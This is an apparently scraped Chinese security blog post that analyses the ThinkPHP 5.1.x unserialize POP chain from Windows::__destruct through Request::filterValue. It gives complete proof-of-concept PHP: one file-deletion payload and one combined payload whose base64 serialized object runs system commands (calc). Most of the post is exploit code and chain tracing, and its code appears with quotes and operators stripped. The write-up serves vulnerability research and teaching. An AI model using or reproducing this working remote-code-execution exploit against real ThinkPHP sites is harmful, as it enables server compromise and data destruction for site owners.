网站建设情况的汇报,重庆网络推广公司,app开发公司重庆,小程序制作开发定制ThinkPHP审计(2) Thinkphp反序列化链子5.1.X原理分析从0编写POC 文章目录 ThinkPHP审计(2) Thinkphp反序列化链子5.1.X原理分析从0编写POC动态调试环境配置Thinkphp反序列化链5.1.X原理分析一.实现任意文件删除二.实现任意命令执行真正的难点 Thinkphp反序列化链5.1.…ThinkPHP审计(2) Thinkphp反序列化链子5.1.X原理分析从0编写POC 文章目录 ThinkPHP审计(2) Thinkphp反序列化链子5.1.X原理分析从0编写POC动态调试环境配置Thinkphp反序列化链5.1.X原理分析一.实现任意文件删除二.实现任意命令执行真正的难点 Thinkphp反序列化链5.1.x 编写 Poc汇总POC 动态调试环境配置
比较简洁的环境配置教程 https://sn1per-ssd.github.io/2021/02/09/phpstudy-phpstorm-xdebug%E6%90%AD%E5%BB%BA%E6%9C%AC%E5%9C%B0%E8%B0%83%E8%AF%95%E7%8E%AF%E5%A2%83/
Thinkphp反序列化链5.1.X原理分析
原理分析仅仅是遵循前辈的已有的道路而不是完全探究每一种链子所带来的情况和可能性
前提存在反序列化的入口
unserialize()phar反序列化session反序列化
__destruct/__wakeup可以作为PHP反序列链的入口 这里简单介绍一下__destruct垃圾回收机制与生命周期的含义 __destruct可以理解为PHP的垃圾回收机制是每次对象执行结束后必须执行的内容但是执行的先后顺序往往和反序列化的生命周期有关
例如
?php
class Test{public $name;public $age;public $string;// __construct实例化对象时被调用.其作用是拿来初始化一些值。public function __construct($name, $age, $string){echo __construct 初始化.br;}// __destruct当删除一个对象或对象操作终止时被调用。其最主要的作用是拿来做垃圾回收机制。/** 当对象销毁时会调用此方法* 一是用户主动销毁对象二是当程序结束时由引擎自动销毁*/function __destruct(){echo __destruct 类执行完毕.br;}
}
$test new test(test,18, Test String);
echo 第二种执行完毕.br;?这里$test new test(test,18, Test String);
对象被赋值给了$test变量而不是直接的new test(test,18, Test String); 传递给对象延长了对象的生命周期
所以是在echo 第二种执行完毕.br;执行后才执行了__destruct内容
类似的比如快速销毁(Fast-destruct)
?php
class Test{public $name;public $age;public $string;// __construct实例化对象时被调用.其作用是拿来初始化一些值。public function __construct($name, $age, $string){echo __construct 初始化.br;}// __destruct当删除一个对象或对象操作终止时被调用。其最主要的作用是拿来做垃圾回收机制。/** 当对象销毁时会调用此方法* 一是用户主动销毁对象二是当程序结束时由引擎自动销毁*/function __destruct(){echo __destruct 类执行完毕.br;}
}//主动销毁
$test new Test(test,18, Test String);
unset($test);
echo 第一种执行完毕.br;
echo ----------------------br;?这里直接__construct后执行__destruct
因为unset — 清除指定变量直接销毁储存对象的变量达到快速垃圾回收的目的
现在开始分析链子 Windows 类中__destruct执行了自身的removeFiles()方法 跟进removeFiles private function removeFiles(){foreach ($this-files as $filename) {if (file_exists($filename)) {unlink($filename);}}$this-files [];}发现遍历$this-files,而且$this-files可控作为数组传递
一.实现任意文件删除
unlink($filename);删除了传递的filename
简单编写poc
?php
namespace think\process\pipes;use think\Process;
class Pipes{};class Windows extends Pipes
{private $files [D:\\flag.txt];}
$windowsnew Windows();
echo(base64_encode(serialize($windows)));
?可以实现任意文件的的删除 二.实现任意命令执行
除了任意文件删除危害还可以更大吗?
通过POP链可以实现任意命令执行 全局逻辑图 private function removeFiles(){foreach ($this-files as $filename) {if (file_exists($filename)) {unlink($filename);}}$this-files [];}file_exists函数用于判断文件是否存在
预期传入 String $filename但是如果我们控制$filename作为一个对象就可以隐形的调用类的__toString()方法 在thinkphp/library/think/model/concern/Conversion.php中
public function __toString(){return $this-toJson();}public function toJson($options JSON_UNESCAPED_UNICODE){return json_encode($this-toArray(), $options);}public function toArray(){$item [];$hasVisible false;foreach ($this-visible as $key $val) {if (is_string($val)) {if (strpos($val, .)) {list($relation, $name) explode(., $val);$this-visible[$relation][] $name;} else {$this-visible[$val] true;$hasVisible true;}unset($this-visible[$key]);}}foreach ($this-hidden as $key $val) {if (is_string($val)) {if (strpos($val, .)) {list($relation, $name) explode(., $val);$this-hidden[$relation][] $name;} else {$this-hidden[$val] true;}unset($this-hidden[$key]);}}// 合并关联数据$data array_merge($this-data, $this-relation);foreach ($data as $key $val) {if ($val instanceof Model || $val instanceof ModelCollection) {// 关联模型对象if (isset($this-visible[$key]) is_array($this-visible[$key])) {$val-visible($this-visible[$key]);} elseif (isset($this-hidden[$key]) is_array($this-hidden[$key])) {$val-hidden($this-hidden[$key]);}// 关联模型对象if (!isset($this-hidden[$key]) || true ! $this-hidden[$key]) {$item[$key] $val-toArray();}} elseif (isset($this-visible[$key])) {$item[$key] $this-getAttr($key);} elseif (!isset($this-hidden[$key]) !$hasVisible) {$item[$key] $this-getAttr($key);}}// 追加属性必须定义获取器if (!empty($this-append)) {//在poc中定义了append:[peanut[whoami]foreach ($this-append as $key $name) { //$key paenut; $name [whoami]if (is_array($name)) {//$name[whoami]所以进入// 追加关联对象属性$relation $this-getRelation($key);if (!$relation) {$relation $this-getAttr($key);if ($relation) {$relation-visible($name);//$relation可控找到一个没有visible方法或不可访问这个方法的类时即可调用_call()魔法方法}}$item[$key] $relation ? $relation-append($name)-toArray() : [];} elseif (strpos($name, .)) {list($key, $attr) explode(., $name);// 追加关联对象属性$relation $this-getRelation($key);if (!$relation) {$relation $this-getAttr($key);if ($relation) {$relation-visible([$attr]);}}$item[$key] $relation ? $relation-append([$attr])-toArray() : [];} else {$item[$name] $this-getAttr($name, $item);}}}return $item;}关键的几个判断和赋值
public function getRelation($name null){if (is_null($name)) {return $this-relation;} elseif (array_key_exists($name, $this-relation)) {return $this-relation[$name];}return;}if (!empty($this-append)) {//在poc中定义了append:[peanut[whoami]foreach ($this-append as $key $name) { //$key paenut; $name [whoami]if (is_array($name)) {//$name[whoami]所以进入// 追加关联对象属性$relation $this-getRelation($key);if (!$relation) {$relation $this-getAttr($key);if ($relation) {$relation-visible($name);//$relation可控找到一个没有visible方法或不可访问这个方法的类时即可调用_call()魔法方法}}public function getAttr($name, $item null)//此时$name 上一层的$key peanut{try {$notFound false;$value $this-getData($name);} catch (InvalidArgumentException $e) {$notFound true;$value null;}public function getData($name null)//$name $key peanut{if (is_null($name)) {return $this-data;} elseif (array_key_exists($name, $this-data)) {//poc中定义$this-data [peanutnew request()]return $this-data[$name];} elseif (array_key_exists($name, $this-relation)) {return $this-relation[$name];}throw new InvalidArgumentException(property not exists: . static::class . - . $name);}$relation-visible($name);中$relation可控可以实现任意类的visible方法如果visible方法不存在就会调用这个类的__call方法
如何达到$relation-visible($name); 触发点 访问 if (!empty($this-append)) {//在poc中定义了append:[peanut[whoami]]foreach ($this-append as $key $name) { //$key paenut; $name [whoami]if (is_array($name)) {//$name[whoami]所以进入保证$this-append不为空$this-append 数组的值$name为数组 也就是二维数组
比如传入append:[peanut[whoami]]
接着向下走
$relation $this-getRelation($key);if (!$relation) {public function getRelation($name null){if (is_null($name)) {return $this-relation;} elseif (array_key_exists($name, $this-relation)) {return $this-relation[$name];}return;}不会进入if/elseif中 直接return;回来 为null
if (!$relation)为空进入判断 $relation $this-getAttr($key);if ($relation) {$relation-visible($name);//$relation可控找到一个没有visible方法或不可访问这个方法的类时即可调用_call()魔法方法}public function getAttr($name, $item null)//此时$name 上一层的$key peanut{try {$notFound false;$value $this-getData($name);} catch (InvalidArgumentException $e) {$notFound true;$value null;}进入$this-getData
public function getData($name null)//$name $key peanut{if (is_null($name)) {return $this-data;} elseif (array_key_exists($name, $this-data)) {//poc中定义$this-data [peanutnew request()]return $this-data[$name];} elseif (array_key_exists($name, $this-relation)) {return $this-relation[$name];}throw new InvalidArgumentException(property not exists: . static::class . - . $name);}判断了$this-data传递的键存在如果存在返回其数组对应的键值
比如可以控制$this-data [peanutnew request()] $relation $this-getAttr($key);if ($relation) {$relation-visible($name);//$relation可控找到一个没有visible方法或不可访问这个方法的类时即可调用_call()魔法方法}$relation-visible($name);中$relation可控为任意类
现在寻找调用__call的类
在thinkphp/library/think/Request.php中 public function __call($method, $args){if (array_key_exists($method, $this-hook)) {array_unshift($args, $this);return call_user_func_array($this-hook[$method], $args);}throw new Exception(method not exists: . static::class . - . $method);}这里存在敏感关键函数call_user_func_array
__call($method, $args)接受的参数
$method固定是visible
$args是传递过来的$name if (array_key_exists($method, $this-hook)) {array_unshift($args, $this);return call_user_func_array($this-hook[$method], $args);可以控制$this-hook[visible]为任意值,可以控制函数名
call_user_func()的利用方式无非两种 __call_user_func($method, $args) __ call_user_func_array([ o b j , obj, obj,method], $args) 如果执行第一种方式call_user_func($method, $args)
但是这里array_unshift($args, $this); 参数插入$this作为第一个值 参数是不能被正常命令识别的,不能直接RCE
那我们最终的利用点可以肯定并不是这里
如果选择第二种方式
call_user_func_array([$obj,$method], $args)
**通过调用 任意类 的 任意方法 **可供选择的可能性更多 call_user_func_array([ o b j , 任 意 方 法 ] , [ obj,任意方法],[ obj,任意方法],[this,任意参数]) 也就是 o b j − obj- obj−func( t h i s , this, this,argv) 真正的难点
曲线救国的策略 难点理解 __call魔术方法受到array_unshift无法可控触发call_user_func_array 利用_call调用isAjax类找可控变量再触发到filterValue里的call_user_func 为什么这里选Request类isAjax方法 接着POP链的调用了?
为什么当时的链子发现的作者会想到通过isAjax接着执行命令?
网上文章千篇一律无非就是拿个poc动态调试粘贴个poc就完了
Thinkphp反序列化漏洞 核心在于 逆向的思考 倒推
开发者不会傻乎乎写个system,shell_exec,exec等系统函数给你利用的可能
而我们又希望最终实现RCE的效果
我们最终应该更多关注于 不明显的回调函数或者匿名函数执行命令
比如call_user_func,call_user_func_array,array_map,array_filter...
在thinkphp/library/think/Request.php中
private function filterValue($value, $key, $filters){$default array_pop($filters);foreach ($filters as $filter) {if (is_callable($filter)) {// 调用函数或者方法过滤$value call_user_func($filter, $value);$filter , $value 可控
通过传递 $filter , $value实现任意命令执行
那么什么地方调用了filterValue?回溯调用filterValue的地方 在thinkphp/library/think/Request.php中input调用
$this-filterValue($data, $name, $filter);
public function input($data [], $name , $default null, $filter ){if (false $name) {// 获取原始数据return $data;}$name (string) $name;if ( ! $name) {// 解析nameif (strpos($name, /)) {list($name, $type) explode(/, $name);}$data $this-getData($data, $name);if (is_null($data)) {return $default;}if (is_object($data)) {return $data;}}// 解析过滤器$filter $this-getFilter($filter, $default);if (is_array($data)) {array_walk_recursive($data, [$this, filterValue], $filter);if (version_compare(PHP_VERSION, 7.1.0, )) {// 恢复PHP版本低于 7.1 时 array_walk_recursive 中消耗的内部指针$this-arrayReset($data);}} else {$this-filterValue($data, $name, $filter); //调用点}input()函数满足条件但是在 input() 中会对 $name 进行强转 $name (string) $name; 传入对象会直接报错所以使用 ide 对其进行回溯查找调用 input() 的方法
什么地方又调用了input函数? Request类中的param函数 public function param($name , $default null, $filter ){if (!$this-mergeParam) {$method $this-method(true);// 自动获取请求变量switch ($method) {case POST:$vars $this-post(false);break;case PUT:case DELETE:case PATCH:$vars $this-put(false);break;default:$vars [];}// 当前请求参数和URL地址中的参数合并$this-param array_merge($this-param, $this-get(false), $vars, $this-route(false));$this-mergeParam true;}if (true $name) {// 获取包含文件上传信息的数组$file $this-file();$data is_array($file) ? array_merge($this-param, $file) : $this-param;return $this-input($data, , $default, $filter);}return $this-input($this-param, $name, $default, $filter);}什么地方又调用了param函数? 是在thinkphp/library/think/Request.php中isAjax方法调用
public function isAjax($ajax false){$value $this-server(HTTP_X_REQUESTED_WITH);$result xmlhttprequest strtolower($value) ? true : false;if (true $ajax) {return $result;}$result $this-param($this-config[var_ajax]) ? true : $result;$this-mergeParam false;return $result;}我们可以控制$this-config[var_ajax]为任意值
通过 call_user_func([object,method,[$this,args]]);
实现 跳转 Request类的isAjax方法 至此实现整个链路的闭合
Thinkphp反序列化链5.1.x 编写 Poc 我们开始编写Poc时可以以魔术方法作为每个部分的 分界点
因为魔术方法的实现 往往时 跨类 的
注意声明一下 命名空间 //__destruct-removeFiles-file_exists-
namespace think\process\pipes;
use think\model\Pivot;
class Pipes{}
class Windows extends Pipes{private $files [];function __construct(){$this-files[new Pivot()];}
}
实现触发 new Pivot(任意类)的__toString魔术方法
触发thinkphp/library/think/model/concern/Conversion.php的 注意一下这里是trait Conversion PHP 实现了一种代码复用的方法称为 trait。 Trait 是为类似 PHP 的单继承语言而准备的一种代码复用机制。Trait 为了减少单继承语言的限制使开发人员能够自由地在不同层次结构内独立的类中复用 method。Trait 和 Class 组合的语义定义了一种减少复杂性的方式避免传统多继承和 Mixin 类相关典型问题。 Trait 和 Class 相似但仅仅旨在用细粒度和一致的方式来组合功能。 无法通过 trait 自身来实例化。它为传统继承增加了水平特性的组合也就是说应用的几个 Class 之间不需要继承。 __toString-toJson-toArray-visible-
if (!empty($this-append)) {//在poc中定义了append:[peanut[whoami]foreach ($this-append as $key $name) { //$key paenut; $name [whoami]if (is_array($name)) {//$name[whoami]所以进入// 追加关联对象属性$relation $this-getRelation($key);if (!$relation) {$relation $this-getAttr($key);if ($relation) {$relation-visible($name);//$relation可控找到一个没有visible方法或不可访问这个方法的类时即可调用_call()魔法方法}}保证几个条件
$this-append有值$this-append的键对应的值为数组$this-data存在同名keyvalue的值就就是 跳转的任意类的visible方法 //__toString-toJson-toArray-visible-
namespace think;
abstract class Model{protected $append [];private $data[];function __construct(){$this-append[coleak[]];$this-data[coleaknew Request()];}
}//为后续集成类加载
namespace think\model;
use think\Model;
class Pivot extends Model{
}
可以实现跳转到Request类的_call方法 public function __call($method, $args){if (array_key_exists($method, $this-hook)) {array_unshift($args, $this);return call_user_func_array($this-hook[$method], $args);}接下来进行跳转 call_user_func_array([new Request(),isAjax], $args)
$method一定是visible
因此可以控制$this-hook[visible[$this,isAjax]];
跳转 Request类的isAjax方法
public function isAjax($ajax false){$value $this-server(HTTP_X_REQUESTED_WITH);$result xmlhttprequest strtolower($value) ? true : false;if (true $ajax) {return $result;}$result $this-param($this-config[var_ajax]) ? true : $result;$this-mergeParam false;return $result;}控制$this-config[var_ajax])存在即可
调用$this-param函数
public function param($name , $default null, $filter ){if (!$this-mergeParam) {$method $this-method(true);// 自动获取请求变量switch ($method) {case POST:$vars $this-post(false);break;case PUT:case DELETE:case PATCH:$vars $this-put(false);break;default:$vars [];}// 当前请求参数和URL地址中的参数合并$this-param array_merge($this-param, $this-get(false), $vars, $this-route(false));$this-mergeParam true;}if (true $name) {// 获取包含文件上传信息的数组$file $this-file();$data is_array($file) ? array_merge($this-param, $file) : $this-param;return $this-input($data, , $default, $filter);}return $this-input($this-param, $name, $default, $filter);}这里直接初始化
$name , $default null, $filter
不进入第一个if判断
if (!$this-mergeParam)控制protected $mergeParam true;
其他条件无论执行与否,最后
return $this-input($this-param, $name, $default, $filter);
进入input函数 public function input($data [], $name , $default null, $filter ){if (false $name) {// 获取原始数据return $data;}$name (string) $name;if ( ! $name) {// 解析nameif (strpos($name, /)) {list($name, $type) explode(/, $name);}$data $this-getData($data, $name);if (is_null($data)) {return $default;}if (is_object($data)) {return $data;}}// 解析过滤器$filter $this-getFilter($filter, $default);初始化默认$data [], $name , $default null, $filter
一定会进入$this-filterValue($data, $name, $filter);
调用函数filterValue private function filterValue($value, $key, $filters){$default array_pop($filters);foreach ($filters as $filter) {if (is_callable($filter)) {// 调用函数或者方法过滤$value call_user_func($filter, $value);控制$filter作为系统命令
protected $filter;
$this-filter[system];filterValue.value的值为第一个通过GET请求的值
可以控制$value的值作为命令的参数
protected $param [calc];
//protected $param calc也可以走另一条执行路径综合一下 //__call-isAjax-param-input-filterValue-call_user_func
namespace think;
class Request{protected $hook [];protected $filter;protected $mergeParam true;protected $param [calc];//protected $param calc也可以走另一条执行路径protected $config [var_ajax ,];function __construct(){$this-hook[visible[$this,isAjax]];$this-filter[system];}
}
汇总POC
?php//__call-isAjax-param-input-filterValue-call_user_func
namespace think;
class Request{protected $hook [];protected $filter;protected $mergeParam true;protected $param [calc];//protected $param calc也可以走另一条执行路径protected $config [var_ajax ,];function __construct(){$this-hook[visible[$this,isAjax]];$this-filter[system];}
}//__toString-toJson-toArray-visible-
namespace think;
abstract class Model{protected $append [];private $data[];function __construct(){$this-append[coleak[]];$this-data[coleaknew Request()];}
}//为后续集成类加载
namespace think\model;
use think\Model;
class Pivot extends Model{
}//__destruct-removeFiles-file_exists-
namespace think\process\pipes;
use think\model\Pivot;
class Pipes{}
class Windows extends Pipes{private $files [];function __construct(){$this-files[new Pivot()];}
}echo base64_encode(serialize(new Windows()));
//按实际情况来决定如何处理序列化数据 可以成功执行系统命令
本次链子涉及三个关键类
WindowsConversionRequest
可以浅浅记一下 可以调试看看具体的值